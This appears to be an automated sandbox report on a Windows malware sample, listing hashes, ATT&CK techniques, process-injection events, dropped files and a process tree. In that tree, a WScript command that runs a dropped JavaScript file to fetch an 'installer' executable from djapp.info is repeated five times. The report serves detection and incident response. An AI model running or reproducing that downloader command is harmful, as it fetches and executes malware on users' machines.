71d6c1285130edad37a173dec053d3a8a8c5a97548cf736b2bef923564bfcf46

Analysis

max time kernel
120s
max time network
121s
platform
windows7_x64
resource
win7-20240220-en
resource tags

arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
submitted
20-05-2024 03:01

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

5cd9b3ad2ea8a0b21266481167f603a1_JaffaCakes118.exe
Size

184KB
MD5

5cd9b3ad2ea8a0b21266481167f603a1
SHA1

5ec589da3d617e7fbef95b30d28bf876f65f8678
SHA256

71d6c1285130edad37a173dec053d3a8a8c5a97548cf736b2bef923564bfcf46
SHA512

1996f251d926e09b10bebcdb0318c25cd1d754ddd352e4837d2e69c6f9b84113b79ea5975c0accfede65f9d8f604df189ee52c7216baffe8de668ad45638ee94
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO34:/7BSH8zUB+nGESaaRvoB7FJNndnt

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 11 IoCs

flow	pid	Process
6	2296	WScript.exe
8	2296	WScript.exe
10	2296	WScript.exe
13	2724	WScript.exe
14	2724	WScript.exe
16	1268	WScript.exe
17	1268	WScript.exe
19	1420	WScript.exe
20	1420	WScript.exe
23	2308	WScript.exe
24	2308	WScript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2292 wrote to memory of 2296	2292	5cd9b3ad2ea8a0b21266481167f603a1_JaffaCakes118.exe	28
PID 2292 wrote to memory of 2296	2292	5cd9b3ad2ea8a0b21266481167f603a1_JaffaCakes118.exe	28
PID 2292 wrote to memory of 2296	2292	5cd9b3ad2ea8a0b21266481167f603a1_JaffaCakes118.exe	28
PID 2292 wrote to memory of 2296	2292	5cd9b3ad2ea8a0b21266481167f603a1_JaffaCakes118.exe	28
PID 2292 wrote to memory of 2724	2292	5cd9b3ad2ea8a0b21266481167f603a1_JaffaCakes118.exe	30
PID 2292 wrote to memory of 2724	2292	5cd9b3ad2ea8a0b21266481167f603a1_JaffaCakes118.exe	30
PID 2292 wrote to memory of 2724	2292	5cd9b3ad2ea8a0b21266481167f603a1_JaffaCakes118.exe	30
PID 2292 wrote to memory of 2724	2292	5cd9b3ad2ea8a0b21266481167f603a1_JaffaCakes118.exe	30
PID 2292 wrote to memory of 1268	2292	5cd9b3ad2ea8a0b21266481167f603a1_JaffaCakes118.exe	32
PID 2292 wrote to memory of 1268	2292	5cd9b3ad2ea8a0b21266481167f603a1_JaffaCakes118.exe	32
PID 2292 wrote to memory of 1268	2292	5cd9b3ad2ea8a0b21266481167f603a1_JaffaCakes118.exe	32
PID 2292 wrote to memory of 1268	2292	5cd9b3ad2ea8a0b21266481167f603a1_JaffaCakes118.exe	32
PID 2292 wrote to memory of 1420	2292	5cd9b3ad2ea8a0b21266481167f603a1_JaffaCakes118.exe	34
PID 2292 wrote to memory of 1420	2292	5cd9b3ad2ea8a0b21266481167f603a1_JaffaCakes118.exe	34
PID 2292 wrote to memory of 1420	2292	5cd9b3ad2ea8a0b21266481167f603a1_JaffaCakes118.exe	34
PID 2292 wrote to memory of 1420	2292	5cd9b3ad2ea8a0b21266481167f603a1_JaffaCakes118.exe	34
PID 2292 wrote to memory of 2308	2292	5cd9b3ad2ea8a0b21266481167f603a1_JaffaCakes118.exe	36
PID 2292 wrote to memory of 2308	2292	5cd9b3ad2ea8a0b21266481167f603a1_JaffaCakes118.exe	36
PID 2292 wrote to memory of 2308	2292	5cd9b3ad2ea8a0b21266481167f603a1_JaffaCakes118.exe	36
PID 2292 wrote to memory of 2308	2292	5cd9b3ad2ea8a0b21266481167f603a1_JaffaCakes118.exe	36

C:\Users\Admin\AppData\Local\Temp\5cd9b3ad2ea8a0b21266481167f603a1_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\5cd9b3ad2ea8a0b21266481167f603a1_JaffaCakes118.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2292
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufB18.js" http://www.djapp.info/?domain=GZjcEryNCv.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufB18.exe
  2⤵
  - Blocklisted process makes network request
  PID:2296
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufB18.js" http://www.djapp.info/?domain=GZjcEryNCv.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufB18.exe
  2⤵
  - Blocklisted process makes network request
  PID:2724
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufB18.js" http://www.djapp.info/?domain=GZjcEryNCv.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufB18.exe
  2⤵
  - Blocklisted process makes network request
  PID:1268
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufB18.js" http://www.djapp.info/?domain=GZjcEryNCv.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufB18.exe
  2⤵
  - Blocklisted process makes network request
  PID:1420
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufB18.js" http://www.djapp.info/?domain=GZjcEryNCv.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufB18.exe
  2⤵
  - Blocklisted process makes network request
  PID:2308

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Filesize
1KB

MD5
cbc282c89eaf33dcc25496b655dd3335

SHA1
12d03e52947a33c0aa0cb46699d361ea92c319d2

SHA256
ed35539ae2e3de90b4d09f6dbed4fc19febf9c5ec3b9e54bbe6b972a89bd63c0

SHA512
eb2411b661feeccc44ea7b9bf096279a9c5a9fd504836ba827fcb9b6a815796a8fd4b03c8ec0e36ea7eebe82c0f059cbca3509e52a400921401a1b485bcc360b

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

Filesize
724B

MD5
8202a1cd02e7d69597995cabbe881a12

SHA1
8858d9d934b7aa9330ee73de6c476acf19929ff6

SHA256
58f381c3a0a0ace6321da22e40bd44a597bd98b9c9390ab9258426b5cf75a7a5

SHA512
97ba9fceab995d4bef706f8deef99e06862999734ebe6a05832c710104479c6337cbf0a76e1c1e0f91566a61334dc100d837dfd049e20da765fe49def684f9c9

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Filesize
410B

MD5
a0909163efa0116f0b232d48b4ca1089

SHA1
92496deea326d86bee994816d1cbd95e14d07eed

SHA256
77670e3cd43ec20dfbf92d46ecb76180b04365addcfb361a89e9ab42bcd62484

SHA512
0d1767776d8b6680cb530eeb15aa42be3b3496ddf48105d7515a64f8f14ecd65966c2c992fd4d81baaac5d966a6a566576500822c1d08ddda064052cdfb26248

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
560ea688ec4daec2d2e54a5fc6e6d15f

SHA1
6bc08f9b703ce204bfac097c620c2f842f964b8b

SHA256
1c4a2248e3b86e1b06b562470af6b4afa4a3e42d72d37d04dbff9cc0a4f2b89e

SHA512
66d6b6a56d6726f7f9e68a983ad16c95643b4f59bb9cca38ecf4df40c2f2163a9a6cbd5e6de29dcd523327b5c9c46612122c14d8e52577b3cce425079d60334c

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

Filesize
392B

MD5
b46b2f30d7608209bb3d6945388c30d9

SHA1
af278ee022da905373988ea2b9021faf1ed457e6

SHA256
c2ed2910db0cf022ed8380cdda1e7e78211081344b502d0b7b89b78cf8b7f14f

SHA512
ba0093c959d995c32077018fdfa1bce13f59d809f6d1d82a07b0d93172070902a1e12a8371ea19b68652d899d3ada3e3b2bc808b4a4a2407b9e50f8f728b50cc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\I819HQXH\domain_profile[1].htm

Filesize
6KB

MD5
2f1562c47c99d57317c020308c605c44

SHA1
339a78cd9002adb2680f0f1af2deb89d1fdcd72e

SHA256
a0de5705083cc5c30423d5294175a0266a8421df480692988f1f05faddcf11e8

SHA512
5d27d2365bde7e9abeb1342b838e15f7abf7011346176c9974eb4dd9e9c84001de229f8da387cae9c9f49971973b160018c6e86f67b7c26b90f8210db2d88949

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\I819HQXH\domain_profile[1].htm

Filesize
40KB

MD5
970307ae75004cd4f545471d1e6396a2

SHA1
f78e357747690837e5235ef5e457fb48e4b5b7ba

SHA256
f809824919c3da055b2b3da1b75b5f461594da341f9c4d34e2cc3db59c229193

SHA512
4102b21f7d17e519a1a6c9b4c0ba23d5e05ebb1d8045af2d428ab020c494f0d49a55e112e8ae4ce37860bb12166b37c935319a473f8b5879c5fb22965a0d91a4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\RYNL6UIN\domain_profile[1].htm

Filesize
6KB

MD5
8da1661bd37d7aff2b214d78702a0d44

SHA1
55be7db8f00866b0d2f3a1e7a22bdeb5f73376cf

SHA256
7b531a9c39072824d5e656273a4f9aac290073b41beae6a6843c8f93a0e0c355

SHA512
d0dd9cb53e5a33df774e3de47679d5921d184b840740ae6994d884d85535b5c88718b1927f71cdff4785c5d4ac9dd42b681dacbeed9b0d35fee4e9e7779132a9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\RYNL6UIN\domain_profile[1].htm

Filesize
40KB

MD5
a6c0648032937b655ba535a12e66addc

SHA1
ad628798a85b3ff2fbef77092bc38a5d3d74998f

SHA256
1db6e7d599a13b812f6d4555016f7a1efe2523b99c813d9fdeb90d98506c8faf

SHA512
6a308b985033242504a8f9250fe23c6212e6af64099b8e9feab98280aab84e63e96f99cfb3675614d1f29ed288d4059f13cb5d3993df590f6711682a4f8601b8

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab3C64.tmp

Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar533F.tmp

Filesize
171KB

MD5
9c0c641c06238516f27941aa1166d427

SHA1
64cd549fb8cf014fcd9312aa7a5b023847b6c977

SHA256
4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

SHA512
936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

Download Submit
C:\Users\Admin\AppData\Local\Temp\fufB18.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\GWRNKTN5.txt

Filesize
175B

MD5
0edfde356a54c8e7e44f65cdc457214d

SHA1
df526a707d97a23af5f5449288c6373a182029b9

SHA256
850c062754e4b6b2925b2282e6fec95e04ac2d501e3f2ac5fc7369127137ca31

SHA512
b4ce6a26a458f15046cdadcd5f622165e4942634248d3aec333938a6148e69b2daa52bb720bbfe838fb7e60e64f464e0503c7f7393f303a88218fe7b17892a8d

Download Submit